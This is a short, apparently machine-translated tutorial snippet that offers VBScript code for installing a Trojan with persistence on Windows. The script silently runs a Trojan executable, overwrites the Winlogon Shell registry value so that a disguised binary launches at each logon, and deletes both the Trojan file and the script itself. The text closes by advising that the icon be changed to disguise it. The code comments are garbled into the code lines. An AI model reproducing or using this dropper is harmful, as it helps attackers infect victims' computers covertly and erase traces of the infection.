VBS Registry realizes Trojan self start _vbs

Oh ~ But others generally do not have the leisure to check so many positions! Even I can not do it ~ ~

Copy Code code as follows:

Dim wsh
Set Wsh=createobject ("Wscript.Shell")
Wsh.run "%windir%\flumasko.exe", 0//Run Trojan program
Set Sm=wscript.createobject ("Wscript.Shell")
Sm. RegWrite "HKLM\Software\Microsoft\Windows Nt\currentversion\winlogon\shell", "Explorer.exe%systemroot%\system32\ Winmgmt.exe "
Write registry keys to implement self-booting
Set Wshshell=wscript.createobject ("Wscript.Shell")
Wscript.Sleep 2000
After the execution of the Trojan horse
Set fso=createobject ("Scripting.FileSystemObject")
F=fso. DeleteFile ("Flumasko.exe")
F=fso. DeleteFile (WScript.ScriptName)
Destroy the body.

Then modify the next icon is done!